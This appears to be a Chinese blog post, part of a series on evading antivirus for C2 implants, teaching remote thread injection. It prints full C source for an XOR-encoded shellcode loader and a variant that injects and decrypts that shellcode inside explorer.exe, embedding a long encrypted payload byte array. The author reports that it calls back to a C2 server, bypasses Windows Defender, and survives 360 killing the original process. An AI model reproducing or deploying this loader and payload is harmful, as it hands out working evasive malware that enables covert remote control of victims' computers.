【免杀】C2免杀技术(七)远程线程注入

远程线程注入(Remote Thread Injection)是一种常见的进程注入技术,经常用于红队渗透、恶意软件加载、持久化控制等场景中,尤其在免杀(AV/EDR bypass)应用领域中,是一种历史悠久但依然有效的手段。

一、什么是远程线程注入

简单来说,就是:将恶意代码注入到目标进程的内存空间中,并在该进程内启动一个新的线程来执行这段代码。

这个过程涉及两个核心点:

1、代码注入:把你的payload(比如shellcode)写进别的进程的内存中;

2、线程创建:让目标进程自己启动线程执行这段payload。

二、技术实现步骤(典型流程)

1、打开目标进程

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

2、在目标进程内申请内存

LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

3、写入Shellcode或Payload 

WriteProcessMemory(hProcess, remoteAddr, shellcode, shellcodeSize, NULL);

4、 创建远程线程执行Payload

CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteAddr, NULL, 0, NULL);

三、免杀角度的优势

1、代码不在自身进程中执行,容易绕过行为分析;

2、注入到可信进程中(如 explorer.exe、svchost.exe),有助于混淆监控;

3、可结合过程混淆(obfuscation)、API动态解析、加密Shellcode等技术进一步绕过EDR。

四、免杀效果演示

还是拿我之前文章:【免杀】C2免杀技术(四)shellcode分离加载-CSDN博客 里的xor加载器代码进行改造

1、贴上原xor加载器代码

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
// 使用字符串 "kun" 作为 XOR key
unsigned char xor_key[] = { 'k', 'u', 'n' };
const size_t key_len = sizeof(xor_key);
 
// XOR混淆的 shellcode(请用你的真实 shellcode 替换)
unsigned char encoded_shellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41" /* shellcode 省略,原样复制 */;
size_t shellcode_len = sizeof(encoded_shellcode);
 
int main() {
    // 申请 RWX 内存
    LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec_mem) {
        printf("VirtualAlloc failed.\n");
        return -1;
    }
 
    // 复制加密的 shellcode 到可执行内存
    memcpy(exec_mem, encoded_shellcode, shellcode_len);
 
    // 在已加载的内存中解密 shellcode
    for (size_t i = 0; i < shellcode_len; ++i) {
        ((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];
    }
 
    // 创建线程执行 shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
    if (!hThread) {
        printf("CreateThread failed.\n");
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        return -1;
    }
 
    // 等待 shellcode 执行完成
    WaitForSingleObject(hThread, INFINITE);
 
    // 清理
    VirtualFree(exec_mem, 0, MEM_RELEASE);
 
    return 0;
}

2、改成远程线程注入

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

// 已XOR加密的shellcode
unsigned char shellcode[] = /* ... encrypted shellcode bytes ... */ "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41";
SIZE_T shellcodeSize = sizeof(shellcode);

// 通过进程名称查找PID(Unicode版本)
DWORD findPidByName(const wchar_t* procName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32W pe = { 0 };
    pe.dwSize = sizeof(pe);
    if (Process32FirstW(hSnap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, procName) == 0) {
                CloseHandle(hSnap);
                return pe.th32ProcessID;
            }
        } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return 0;
}

int main() {
    // 1. 找到已运行的目标进程PID
    DWORD pid = findPidByName(L"explorer.exe");
    if (!pid) {
        wprintf(L"[-] 无法找到目标进程: notepad.exe\n");
        return -1;
    }

    // 2. 打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD |
        PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE |
        PROCESS_VM_READ,
        FALSE, pid);
    if (!hProcess) {
        wprintf(L"[-] OpenProcess 失败 (%u)\n", GetLastError());
        return -1;
    }

    // 3. 分配远程内存
    LPVOID remoteAddr = VirtualAllocEx(
        hProcess, NULL,
        shellcodeSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    if (!remoteAddr) {
        wprintf(L"[-] VirtualAllocEx 失败 (%u)\n", GetLastError());
        CloseHandle(hProcess);
        return -1;
    }

    // 4. 写入已加密shellcode
    if (!WriteProcessMemory(
        hProcess, remoteAddr,
        shellcode, shellcodeSize, NULL))
    {
        wprintf(L"[-] WriteProcessMemory 失败 (%u)\n", GetLastError());
        CloseHandle(hProcess);
        return -1;
    }

    // 5. 远程内存XOR解密 (Key = "kun")
    unsigned char xorKey[] = "kun";
    SIZE_T keyLen = sizeof(xorKey) - 1;
    for (SIZE_T i = 0; i < shellcodeSize; ++i) {
        BYTE b;
        ReadProcessMemory(hProcess,
            (LPCVOID)((BYTE*)remoteAddr + i),
            &b, 1, NULL);
        b ^= xorKey[i % keyLen];
        WriteProcessMemory(hProcess,
            (LPVOID)((BYTE*)remoteAddr + i),
            &b, 1, NULL);
    }
    wprintf(L"[+] Shellcode 已写入并解密\n");

    // 6. 创建远程线程执行Shellcode
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteAddr,
        NULL, 0, NULL);
    if (!hThread) {
        wprintf(L"[-] CreateRemoteThread 失败 (%u)\n", GetLastError());
    }
    else {
        wprintf(L"[+] 远程线程已创建 (TID: %u)\n", GetThreadId(hThread));
        CloseHandle(hThread);
    }

    // 7. 清理句柄
    CloseHandle(hProcess);
    return 0;
}

3、编译出来,拉到DF检测,结果如图

4、运行测试,成功上线且能执行命令,绕过DF!

5、这里也放到360上看看:执行上线后,原程序被杀,但是目标已经借助其他程序上线,后续不影响执行命令

五、结尾

远程线程注入是经典但逐渐显老的手段,仍然可以用,但需要叠加混淆/绕过技巧才能在免杀中长期站得住脚。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值